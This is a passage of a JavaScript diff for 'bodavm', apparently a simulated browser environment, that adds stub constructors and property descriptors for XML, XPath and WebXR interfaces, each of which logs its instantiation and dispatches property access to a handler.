"onreset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRReferenceSpace', "getOffsetReferenceSpace", { + configurable: true, + enumerable: true, + writable: true, + value: function getOffsetReferenceSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRReferenceSpace'].prototype, "XRReferenceSpace", "getOffsetReferenceSpace", arguments); + } +}, 'prototype'); +// XMLDocument对象 + +bodavm.memory.globalobj['XMLDocument'] = function XMLDocument() { + console.log_copy('XMLDocument 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XMLDocument)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XMLDocument'], "XMLDocument"); +bodavm.memory.globalobj['XMLDocument'].prototype.__proto__ = bodavm.memory.globalobj['Document'].prototype; +bodavm.memory.globalobj['XMLDocument'].__proto__ = bodavm.memory.globalobj['Document']; +// XMLHttpRequestUpload对象 + +bodavm.memory.globalobj['XMLHttpRequestUpload'] = function XMLHttpRequestUpload() { + console.log_copy('XMLHttpRequestUpload 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XMLHttpRequestUpload)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XMLHttpRequestUpload'], "XMLHttpRequestUpload"); +bodavm.memory.globalobj['XMLHttpRequestUpload'].prototype.__proto__ = bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype; +bodavm.memory.globalobj['XMLHttpRequestUpload'].__proto__ = bodavm.memory.globalobj['XMLHttpRequestEventTarget']; +// XMLSerializer对象 + +bodavm.memory.globalobj['XMLSerializer'] = function XMLSerializer() { + console.log_copy('XMLSerializer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.XMLSerializer(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XMLSerializer'], "XMLSerializer"); +bodavm.toolsFunc.defineProperty('XMLSerializer', "serializeToString", { + configurable: true, + enumerable: true, + writable: true, + value: function serializeToString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLSerializer'].prototype, "XMLSerializer", "serializeToString", arguments); + } +}, 'prototype'); +// XPathEvaluator对象 + +bodavm.memory.globalobj['XPathEvaluator'] = function XPathEvaluator() { + console.log_copy('XPathEvaluator 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.XPathEvaluator(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XPathEvaluator'], "XPathEvaluator"); +bodavm.toolsFunc.defineProperty('XPathEvaluator', "createExpression", { + configurable: true, + enumerable: true, + writable: true, + value: function createExpression() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathEvaluator'].prototype, "XPathEvaluator", "createExpression", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathEvaluator', "createNSResolver", { + configurable: true, + enumerable: true, + writable: true, + value: function createNSResolver() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathEvaluator'].prototype, "XPathEvaluator", "createNSResolver", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathEvaluator', "evaluate", { + configurable: true, + enumerable: true, + writable: true, + value: function evaluate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathEvaluator'].prototype, "XPathEvaluator", "evaluate", arguments); + } +}, 'prototype'); +// XPathResult对象 + +bodavm.memory.globalobj['XPathResult'] = function XPathResult() { + console.log_copy('XPathResult 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XPathResult)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XPathResult'], "XPathResult"); +bodavm.toolsFunc.defineProperty('XPathResult', "ANY_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('XPathResult', "NUMBER_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('XPathResult', "STRING_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('XPathResult', "BOOLEAN_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('XPathResult', "UNORDERED_NODE_ITERATOR_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('XPathResult', "ORDERED_NODE_ITERATOR_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('XPathResult', "UNORDERED_NODE_SNAPSHOT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}); +bodavm.toolsFunc.defineProperty('XPathResult', "ORDERED_NODE_SNAPSHOT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}); +bodavm.toolsFunc.defineProperty('XPathResult', "ANY_UNORDERED_NODE_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}); +bodavm.toolsFunc.defineProperty('XPathResult', "FIRST_ORDERED_NODE_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 9 +}); +bodavm.toolsFunc.defineProperty('XPathResult', "resultType", { + configurable: true, + enumerable: true, + get: function resultType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "resultType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "numberValue", { + configurable: true, + enumerable: true, + get: function numberValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "numberValue_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "stringValue", { + configurable: true, + enumerable: true, + get: function stringValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "stringValue_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "booleanValue", { + configurable: true, + enumerable: true, + get: function booleanValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "booleanValue_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "singleNodeValue", { + configurable: true, + enumerable: true, + get: function singleNodeValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "singleNodeValue_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "invalidIteratorState", { + configurable: true, + enumerable: true, + get: function invalidIteratorState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "invalidIteratorState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "snapshotLength", { + configurable: true, + enumerable: true, + get: function snapshotLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "snapshotLength_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "ANY_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "NUMBER_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "STRING_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "BOOLEAN_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "UNORDERED_NODE_ITERATOR_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "ORDERED_NODE_ITERATOR_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "UNORDERED_NODE_SNAPSHOT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "ORDERED_NODE_SNAPSHOT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "ANY_UNORDERED_NODE_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "FIRST_ORDERED_NODE_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 9 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "iterateNext", { + configurable: true, + enumerable: true, + writable: true, + value: function iterateNext() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "iterateNext", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "snapshotItem", { + configurable: true, + enumerable: true, + writable: true, + value: function snapshotItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "snapshotItem", arguments); + } +}, 'prototype'); +// XRAnchor对象 + +bodavm.memory.globalobj['XRAnchor'] = function XRAnchor() { + console.log_copy('XRAnchor 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRAnchor)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRAnchor'], "XRAnchor"); +bodavm.toolsFunc.defineProperty('XRAnchor', "anchorSpace", { + configurable: true, + enumerable: true, + get: function anchorSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchor'].prototype, "XRAnchor", "anchorSpace_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRAnchor', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchor'].prototype, "XRAnchor", "delete", arguments); + } +}, 'prototype'); +// XRAnchorSet对象 + +bodavm.memory.globalobj['XRAnchorSet'] = function XRAnchorSet() { + console.log_copy('XRAnchorSet 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRAnchorSet)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRAnchorSet'], "XRAnchorSet"); +bodavm.toolsFunc.defineProperty('XRAnchorSet', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchorSet'].prototype, "XRAnchorSet", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRAnchorSet', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchorSet'].prototype, "XRAnchorSet", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRAnchorSet', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchorSet'].prototype, "XRAnchorSet", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRAnchorSet', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchorSet'].prototype, "XRAnchorSet", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRAnchorSet', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchorSet'].prototype, "XRAnchorSet", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRAnchorSet', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchorSet'].prototype, "XRAnchorSet", "values", arguments); + } +}, 'prototype'); +// XRBoundedReferenceSpace对象 + +bodavm.memory.globalobj['XRBoundedReferenceSpace'] = function XRBoundedReferenceSpace() { + console.log_copy('XRBoundedReferenceSpace 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRBoundedReferenceSpace)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRBoundedReferenceSpace'], "XRBoundedReferenceSpace"); +bodavm.memory.globalobj['XRBoundedReferenceSpace'].prototype.__proto__ = bodavm.memory.globalobj['XRReferenceSpace'].prototype; +bodavm.memory.globalobj['XRBoundedReferenceSpace'].__proto__ = bodavm.memory.globalobj['XRReferenceSpace']; +bodavm.toolsFunc.defineProperty('XRBoundedReferenceSpace', "boundsGeometry", { + configurable: true, + enumerable: true, + get: function boundsGeometry() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRBoundedReferenceSpace'].prototype, "XRBoundedReferenceSpace", "boundsGeometry_get", arguments); + }, + set: undefined +}, 'prototype'); +// XRCamera对象 + +bodavm.memory.globalobj['XRCamera'] = function XRCamera() { + console.log_copy('XRCamera 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRCamera)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRCamera'], "XRCamera"); +bodavm.toolsFunc.defineProperty('XRCamera', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRCamera'].prototype, "XRCamera", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRCamera', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRCamera'].prototype, "XRCamera", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +// XRCPUDepthInformation对象 + +bodavm.memory.globalobj['XRCPUDepthInformation'] = function XRCPUDepthInformation() { + console.log_copy('XRCPUDepthInformation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRCPUDepthInformation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRCPUDepthInformation'], "XRCPUDepthInformation"); +bodavm.memory.globalobj['XRCPUDepthInformation'].prototype.__proto__ = bodavm.memory.globalobj['XRDepthInformation'].prototype; +bodavm.memory.globalobj['XRCPUDepthInformation'].__proto__ = bodavm.memory.globalobj['XRDepthInformation']; +bodavm.toolsFunc.defineProperty('XRCPUDepthInformation', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRCPUDepthInformation'].prototype, "XRCPUDepthInformation", "data_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRCPUDepthInformation', "getDepthInMeters", { + configurable: true, + enumerable: true, + writable: true, + value: function getDepthInMeters() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRCPUDepthInformation'].prototype, "XRCPUDepthInformation", "getDepthInMeters", arguments); + } +}, 'prototype'); +// XRDOMOverlayState对象 + +bodavm.memory.globalobj['XRDOMOverlayState'] = function XRDOMOverlayState() { + console.log_copy('XRDOMOverlayState 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRDOMOverlayState)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRDOMOverlayState'], "XRDOMOverlayState"); +bodavm.toolsFunc.defineProperty('XRDOMOverlayState', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRDOMOverlayState'].prototype, "XRDOMOverlayState", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +// XRFrame对象 + +bodavm.memory.globalobj['XRFrame'] = function XRFrame() { + console.log_copy('XRFrame 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRFrame)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRFrame'], "XRFrame"); +bodavm.toolsFunc.defineProperty('XRFrame', "session", { + configurable: true, + enumerable: true, + get: function session() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "session_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRFrame', "getPose", { + configurable: true, + enumerable: true, + writable: true, + value: function getPose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "getPose", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRFrame', "getViewerPose", { + configurable: true, + enumerable: true, + writable: true, + value: function getViewerPose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "getViewerPose", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRFrame', "trackedAnchors", { + configurable: true, + enumerable: true, + get: function trackedAnchors() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "trackedAnchors_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRFrame', "createAnchor", { + configurable: true, + enumerable: true, + writable: true, + value: function createAnchor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "createAnchor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRFrame', "getDepthInformation", { + configurable: true, + enumerable: true, + writable: true, + value: function getDepthInformation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "getDepthInformation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRFrame', "getHitTestResults", { + configurable: true, + enumerable: true, + writable: true, + value: function getHitTestResults() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "getHitTestResults", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRFrame', "getHitTestResultsForTransientInput", { + configurable: true, + enumerable: true, + writable: true, + value: function getHitTestResultsForTransientInput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "getHitTestResultsForTransientInput", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRFrame', "getLightEstimate", { + configurable: true, + enumerable: true, + writable: true, + value: function getLightEstimate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "getLightEstimate", arguments); + } +}, 'prototype'); +// XRHitTestResult对象 + +bodavm.memory.globalobj['XRHitTestResult'] = function XRHitTestResult() { + console.log_copy('XRHitTestResult 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRHitTestResult)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRHitTestResult'], "XRHitTestResult"); +bodavm.toolsFunc.defineProperty('XRHitTestResult', "getPose", { + configurable: true, + enumerable: true, + writable: true, + value: function getPose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRHitTestResult'].prototype, "XRHitTestResult", "getPose", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRHitTestResult', "createAnchor", { + configurable: true, + enumerable: true, + writable: true, + value: function createAnchor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRHitTestResult'].prototype, "XRHitTestResult", "createAnchor", arguments); + } +}, 'prototype'); +// XRHitTestSource对象 + +bodavm.memory.globalobj['XRHitTestSource'] = function XRHitTestSource() { + console.log_copy('XRHitTestSource 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRHitTestSource)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRHitTestSource'], "XRHitTestSource"); +bodavm.toolsFunc.defineProperty('XRHitTestSource', "cancel", { + configurable: true, + enumerable: true, + writable: true, + value: function cancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRHitTestSource'].prototype, "XRHitTestSource", "cancel", arguments); + } +}, 'prototype'); +// XRInputSource对象 + +bodavm.memory.globalobj['XRInputSource'] = function XRInputSource() { + console.log_copy('XRInputSource 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRInputSource)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRInputSource'], "XRInputSource"); +bodavm.toolsFunc.defineProperty('XRInputSource', "handedness", { + configurable: true, + enumerable: true, + get: function handedness() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSource'].prototype, "XRInputSource", "handedness_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRInputSource', "targetRayMode", { + configurable: true, + enumerable: true, + get: function targetRayMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSource'].prototype, "XRInputSource", "targetRayMode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRInputSource', "targetRaySpace", { + configurable: true, + enumerable: true, + get: function targetRaySpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSource'].prototype, "XRInputSource", "targetRaySpace_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRInputSource', "gripSpace", { + configurable: true, + enumerable: true, + get: function gripSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSource'].prototype, "XRInputSource", "gripSpace_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRInputSource', "gamepad", { + configurable: true, + enumerable: true, + get: function gamepad() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSource'].prototype, "XRInputSource", "gamepad_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRInputSource', "profiles", { + configurable: true, + enumerable: true, + get: function profiles() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSource'].prototype, "XRInputSource", "profiles_get", arguments); + }, + set: undefined +}, 'prototype'); +// XRInputSourceArray对象 + +bodavm.memory.globalobj['XRInputSourceArray'] = function XRInputSourceArray() { + console.log_copy('XRInputSourceArray 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRInputSourceArray)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRInputSourceArray'], "XRInputSourceArray"); +bodavm.toolsFunc.defineProperty('XRInputSourceArray', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceArray'].prototype, "XRInputSourceArray", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRInputSourceArray', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceArray'].prototype, "XRInputSourceArray", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRInputSourceArray', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceArray'].prototype, "XRInputSourceArray", "values", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRInputSourceArray', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceArray'].prototype, "XRInputSourceArray", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRInputSourceArray', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceArray'].prototype, "XRInputSourceArray", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +// XRInputSourceEvent对象 + +bodavm.memory.globalobj['XRInputSourceEvent'] = function XRInputSourceEvent() { + console.log_copy('XRInputSourceEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRInputSourceEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XRInputSourceEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRInputSourceEvent'], "XRInputSourceEvent"); +bodavm.memory.globalobj['XRInputSourceEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['XRInputSourceEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('XRInputSourceEvent', "frame", { + configurable: true, + enumerable: true, + get: function frame() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceEvent'].prototype, "XRInputSourceEvent", "frame_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRInputSourceEvent', "inputSource", { + configurable: true, + enumerable: true, + get: function inputSource() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceEvent'].prototype, "XRInputSourceEvent", "inputSource_get", arguments); + }, + set: undefined +}, 'prototype'); +// XRInputSourcesChangeEvent对象 + +bodavm.memory.globalobj['XRInputSourcesChangeEvent'] = function XRInputSourcesChangeEvent() { + console.log_copy('XRInputSourcesChangeEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRInputSourcesChangeEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XRInputSourcesChangeEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRInputSourcesChangeEvent'], "XRInputSourcesChangeEvent"); +bodavm.memory.globalobj['XRInputSourcesChangeEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['XRInputSourcesChangeEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('XRInputSourcesChangeEvent', "session", { + configurable: true, + enumerable: true, + get: function session() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourcesChangeEvent'].prototype, "XRInputSourcesChangeEvent", "session_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRInputSourcesChangeEvent', "added", { + configurable: true, + enumerable: true, + get: function added() { + return bodavm.toolsFunc.dispatch(this, 